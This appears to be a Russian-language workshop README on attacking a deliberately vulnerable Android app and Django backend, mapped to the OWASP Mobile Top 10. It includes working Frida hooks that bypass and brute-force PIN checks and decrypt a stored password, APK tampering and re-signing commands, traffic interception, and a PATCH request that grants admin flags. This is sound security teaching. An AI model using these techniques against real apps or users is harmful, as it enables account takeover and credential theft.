Workshop: Как взламывают android-приложения и что после этого бывает.

Структура репозитория

frida-tools - набор скриптов для Frida применяемых в workshop-е
vulnerable-app - исходный код уязвимого android-приложения
vulnerable-backend - исходный код уязвимого сервера на Django
Insomnia_workspace.json - некоторые запросы для импорта в Insomnia
Workshop.pdf - презентация с теоретическим минимумом и контактами

Требования к участникам

Уровень Middle+
Базовые навыки по работе в терминале
Смартфон с правами root (очень желательно Magisk), режимом разработчика, включенной отладкой по USB и возможностью установки приложений из недоверенных источников. Допускаются эмуляторы, но решать с ними проблемы придется самостоятельно
Предустановленный софт: python 3.6+, docker, jdk8, Android SDK 24.0.3+

Постановка задачи

Есть клиент-серверное приложение с авторизацией, регистрацией и аутентификацией по pin-коду. Нужно найти в нем максимальное количество уязвимостей в соответствии с классификацией OWASP Mobile Top Ten.

Инструменты и уязвимости приложения

MobSF (на домашнее изучение)

Установка

$ docker pull opensecurity/mobile-security-framework-mobsf
$ docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

Drozer

Скачать и установить drozer-agent.apk на устройство

$ wget https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk
$ adb install drozer-agent-2.3.4.apk

Если используется эмулятор, то нужно перенаправить порты:

$ adb forward tcp:31415 tcp:31415

Теперь можно запустить агента и включить встроенный сервер. После чего можно установить образ Droze-а и запустить его:

$ docker pull kengannonmwr/drozer_docker
$ docker run -it kengannonmwr/drozer_docker
root@25e99a93aee2:/# drozer console connect --server 192.168.14.35
dz>

Для подключения нужно выяснить IP адрес смартфона

Далее определяем поверхность атаки:

dz> list #покажет список всех доступных модулей, это на домашнее изучение
dz> run app.package.attacksurface com.redmadrobot.vulnerableapp
Attack Surface:
  2 activities exported
  0 broadcast receivers exported
  0 content providers exported
  0 services exported

Тут же можно сразу посмотреть манифест:

dz> run app.package.manifest  com.redmadrobot.vulnerableapp

Обнаружили, что включена возможность бэкапов, сделаем бэкап:

$ adb backup -f backup.ab -noapk com.redmadrobot.vulnerableapp
$ dd if=backup.ab ibs=24 skip=1 | openssl zlib -d > backup.tar
#alternative
$ dd if=backup.ab bs=24 skip=1 | python -c "import zlib,sys;sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" > backup.tar
$ tar xvf backup.tar

Дальше рассматриваем то, что забэкапилось. По OWASP это M1: Improper Platform Usage. Смотрим, что там набэкапилось и видим частично открытые Shared Preferences. Это уже M2: Insecure Data Storage. С зашифрованным паролем разберемся чуть позже. Теперь можно запустить MainActivity и обойти проверку pin-кода. Это соответствует M1: Improper Platform Usage и M6: Insecure Authorization.

dz> run app.activity.start --component com.redmadrobot.vulnerableapp com.redmadrobot.vulnerableapp.MainActivit

jadx-gui

Устанавливаем jadx. Версия из Homebrew иногда падает при перетаскивании окна по разным мониторам. С версией из исходников такой проблемы нет.

$ brew install jadx # macOS
$ sudo pacman -S jadx # Arch Linux

#alternative
$ git clone https://github.com/skylot/jadx.git
$ cd jadx
$ ./gradlew dist
$ cd build/jadx/bin
$ ./jadx-gui

Дальнейшие действия относятся к M9: Reverse Engineering (приложение не обфусцировано и никак не защищено). Исследуем экран авторизации. Видим, что есть кнопка, которая явно скрывается перед установкой обработчика нажатия:

public final class LoginFragment extends Hilt_LoginFragment {
    ...
    public void onViewCreated(View view, Bundle bundle) {
        ...
        button.setVisibility(8);
        ...
    }
    ...
}

apktool

Если вы на маке, то установить можно через Homebrew

$ brew install apktool

Иначе ищем инструкцию здесь

Теперь можно разобрать приложение, внести правки и собрать его заново. Внесение правок подпадает под M8: Code Tampering

$ apktool d app-release.apk
# Set android:extractNativeLibs="true"
$ apktool b app-release --use-aapt2

Теперь его нужно заново подписать, т.к. после пересборки оригинальная подпись слетела.

# Generate fake signing keystore
$ keytool -genkey -v -keystore fake.keystore -storepass fake-fake -alias fake -keypass fake-fake -keyalg RSA -keysize 2048 -validity 10000

# Optimize and sign application
$ zipalign -c 4 app-release/dist/app-release.apk
$ apksigner sign --ks fake.keystore --ks-key-alias fake --ks-pass pass:fake-fake --key-pass pass:fake-fake app-release/dist/app-release.apk

# old alternative
$ jarsigner -keystore fake.keystore  -storepass fake-fake -keypass fake-fake app-release/dist/app-release.apk fake
$ zipalign -c 4 app-release/dist/app-release.

После этого приложение можно установить и проверить его работу

$ adb install app-release/dist/app-release.apk

Появилась кнопка, по нажатию на которую в логах можно увидеть список пользователей. Удобно отфильтровать эти логи по тегу полученному ранее:

adb logcat -s "USERS"

В соответствии с OWASP это M4: Insecure Authentication и M10: Extraneous Functionality В ходе анализа выяснили, что запрос списка пользователей выполняется без какой либо авторизации, но в него передается ключ API. Ключ, в свою очередь загружается из нативной библиотеки libnetwork.so. Ей и займемся на следующем этапе.

Ghidra

Если доверяете NSA, то можно скачать и запустить уже собранный билд, но лучше собирать самостоятельно из исходников. Американцы дают качать бинарники только с американских ip-шников, поэтому нужен VPN. Если он есть, то скачать можно здесь. Если нет, то я скачал его за вас.

В Ghidra нужно открыть файл libnetwork.so, найти там функцию Java_com_redmadrobot_vulnerableapp_ui_login_LoginViewModel_getApiKey и извлечь из нее ключ API.

Objection

Еще хочу показать альтернативу большим и сложным инструментам типа Ghidra. Поскольку ключ API все равно появляется в JVM коде его можно перехватить во время выполнения. Проще всего это сделать с помощью Objection

Установка

$ pip3 install objection

Теперь можно подключиться к нашему приложению (оно должно быть запущено):

$ objection --gadget com.redmadrobot.vulnerableapp explore

Вот несколько полезных команд:

[usb] # android hooking list activities
[usb] # android hooking get current_activity

Но нам нужно перехватить вызов метода getApiKey(). Для этого убедимся, что такой метод есть в LoginViewModel

[usb] # android hooking list class_methods com.redmadrobot.vulnerableapp.ui.login.LoginViewModel
...
public final native java.lang.String com.redmadrobot.vulnerableapp.ui.login.LoginViewModel.getApiKey()
...

Теперь у нас есть вся информация чтобы захукать этот метод

[usb] # android hooking watch class_method com.redmadrobot.vulnerableapp.ui.login.LoginViewModel.getApiKey --dump-return

Теперь нужно нажать на кнопку еще раз и увидеть ключ API. Его нужно сохранить, он нам пригодится позже.

Frida

Установка

$ pip install frida-tools

Далее, если у вас Magisk, то можно установить модуль MagiskFrida. В качестве альтернативы можно воспользовать вот этим репозиторием. В противном случае придется ставить все руками. Скачиваем отсюда бинарник сервера (frida-server-12.11.17-android*), распаковываем и закидываем на устройство:

$ adb push frida-server-12.11.17-android-arm /data/local/tmp
$ adb shell
$ su
# chmod 755 /data/local/frida-server-12.11.17-android-arm
# ./data/local/frida-server-12.11.17-android-arm &

Далее нужно выйти из adb и убедиться, что все работает

$ frida-ps -U
PID  Name
-----  --------------------------------------------------
  226  adbd
14778  android.process.acore
12817  android.process.media
  213  bridgemgrd
 1467  com.android.certinstaller
  854  com.android.chrome

Теперь можно попробовать достать ключ API с помощью голой фриды. Для начала нужно написать сам хук на JavaScript

console.log("[*] Hook is loaded");

Java.perform(function () {
    console.log("[*] Run instrumentation");

    var nativeInspection = Java.use("com.redmadrobot.vulnerableapp.ui.login.LoginViewModel")

    nativeInspection.getApiKey.overload().implementation = function () {
        console.log("[*] Calling getApiKey()")

        var key = this.getApiKey()
        console.log(">>> API key: " + key)

        return key
    }
});

И запустить его через фриду

$ frida -U -l hooks/intercept_apikey.js -f com.redmadrobot.vulnerableapp --no-pause

В качестве альтернативы, можно написать свой скрипт на python для запуска таких хуков. Это позволит реализовывать более сложные сценарии. В базовом варианте этот скрипт может выглядеть так:

import time

import click
import frida

def on_message(message, data):
    if message['type'] == 'send':
        print("[*] {0}".format(message['payload']))
    else:
        print(message)

@click.command()
@click.option('-p', '--package', prompt='Package name', help='Application package name')
@click.option('-h', '--hook', prompt='Hook', help='Path to the .js hook file')
def run_hook(package: str, hook: str):
    device = frida.get_usb_device()
    pid = device.spawn([package])
    device.resume(pid)
    time.sleep(1)

    session = device.attach(pid)

    script = session.create_script(open(hook).read())
    script.on("message", on_message)
    script.load()

    input()

if __name__ == '__main__':
    run_hook()

А запустить хук можно таким образом

$ python hook.py -p com.redmadrobot.vulnerableapp -h hooks/intercept_apikey.js

Но с помощью фриды можно делать вещи поинтереснее чем просто перехватывать результаты функции. В приложении есть экран ввода пинкода и мы попробуем поломать его двумя способами:

подменить возврат валидатора пинкода чтобы любой пинкод был валидным
подобрать реальный пинкод с помощью брутфорса

Чтобы решить обе эти задачи нам нужно работать с вызовом метода валидации. В данном приложении он обмазан корутинами и захукать его довольно сложно... было бы =) Но я знаю внутренние детали реализации, и поэтому могу обратиться к сразу к синхронному методу и работать уже с ним.

console.log("[*] Hook is loaded");

Java.perform(function () {
    console.log("[*] Run instrumentation");

    var pinkman = Java.use("com.redmadrobot.pinkman.Pinkman");

    pinkman.isValidPin.implementation = function (arg) {
        console.log("[*] Call isValidPin()");

        return true;
    }
});

Теперь займемся брутфорсом. Нам нужно захукать тот же самый метод, но немного видоизменить наш хук добавить непосредственно процедуру подбора в случае если попытка не удалась:

console.log("[*] Hook is loaded");

Java.perform(function () {
    console.log("[*] Run instrumentation");

    var pinkman = Java.use("com.redmadrobot.pinkman.Pinkman");
    var pinString = Java.use("java.lang.String");

    pinkman.isValidPin.implementation = function (arg) {
        console.log("[*] Call isValidPin()");

        var ret = this.isValidPin(arg);

        if (!ret) {
            console.log("[*] Starting bruteforce...");
            for (var i = 0; i <= 9999; i++) {
                var pin = (i + 100000).toString().slice(-4);

                if (this.isValidPin(pinString.$new(pin))) {
                    console.log("[*] Found: " + pin);
                    break
                } else {
                    console.log("Try: " + pin)
                }
            }
        }

        return ret;
    }
});

Для работы с пин-кодами используется библиотека Pinkman

Ну и неплохо бы разобраться с зашифрованным паролем, который мы получили из преференсов. Анализ кода показывает, что тут вполне себе M5: Insusufficient Cryptography, т.к. ключ шифрования хранится в коде. Но, чтобы не разворачивать всю эту криптомашинерию самостоятельно, можно использовать фриду для расшифровки имеющегося у нас пароля, что приводит нас к M4: Insecure Authentication. Но вообще, имея на руках ключ можно написать дешифратор на любом языке, останется только воровать учетные данные пользователей и отправлять их в дешифратор ;)

console.log("[*] Hook is loaded");

Java.perform(function () {
    console.log("[*] Run instrumentation");

    var aes = Java.use("com.redmadrobot.vulnerableapp.internal.AesEncryption");

    var aesInstance = aes.$new();
    var plainText = aesInstance.decrypt("C5gQUGTWhlhetkx2G+1cdg==");

    console.log("[*] Password: " + plainText);
});

mitmproxy

Установка

# Homebrew
$ brew install mitmproxy
# alternative
$ docker pull mitmproxy/mitmproxy
$ docker run --rm -it -p 8080:8080 mitmproxy/mitmproxy

После запуска прокси, нужно настроить ее на смартфоне. Для этого нужно узнать свой ip адрес, например так:

$ ifconfig en0 | grep inet
inet 192.168.1.42 netmask 0xffffff00 broadcast 192.168.1.255

И указать в настройках сети прокси с вашим ip и портом 8080. Теперь нужно установить сертификат, который позволит нам расшифровывать HTTPS трафик. Для этого открываем браузер и заходим на сайт mimt.it (этот домен обслуживает ваш локальный прокси). Там выбрать Android и скачать сертификат. Если у он не установится по нажатию, то сходить в Настройки→Безопасность→Установить сертификаты. Там выбрать VPN и приложения. Теперь зайти на google.com и убедиться, что ничего не работает, т.к. Google не доверяет этому сертификату =) Теперь можно переходить и изучению трафика приложения. Вот тут есть хороший cheat-sheet по mitmproxy. Чтобы покрыть максимальное количество кейсов, нужно разлогиниться из приложения (или почистить данные, или удалить его и поставить заново) и начать с аутентификации или регистрации. Как видим, трафик прекрасно отображается, что классифицируется как M3: Insecure communication.

Инструменты и уязвимости сервера

Задачи:

Походить по методам API через браузер, посмотреть DRF документацию, сделать вывод, что джанга
Попробовать зайти в админку под своими учетными данными и увидеть, что у нас нет прав на доступ в админку.
Походить по методам, которые наловили на этапе с mitmproxy
Установить нужные флаги в профиле и зайти в админку под своей учетной записью

Insomnia

Скачать можно отсюда. На мак ставится так:

$ brew cask install insomnia

Теперь можно откопать ключ API, который мы получили ранее и посмотреть, что возвращает сервер по этому запросу.

Можно посмотреть все данные всех пользователей. Самым интересным для нас является учетная запись администратора, а в частности флаги is_superuser и is_staff. Которые у этого пользователя установлены, а у нас нет (проверить это можно получив свой профиль). Применим метод PATCH, которым мы меняли аватар пользователя, но передадим туда эти флаги.

После успешного выполнения запроса пробуем залогиниться в админку и у нас это получается.

Шах и мат 🥳

Fi5t / workshop-devfest-2020

Workshop: Как взламывают android-приложения и что после этого бывает.

Структура репозитория

Требования к участникам

Постановка задачи

Инструменты и уязвимости приложения

MobSF (на домашнее изучение)

Drozer

jadx-gui

apktool

Ghidra

Objection

Frida

mitmproxy

Инструменты и уязвимости сервера

Insomnia

Полезные материалы

About

Languages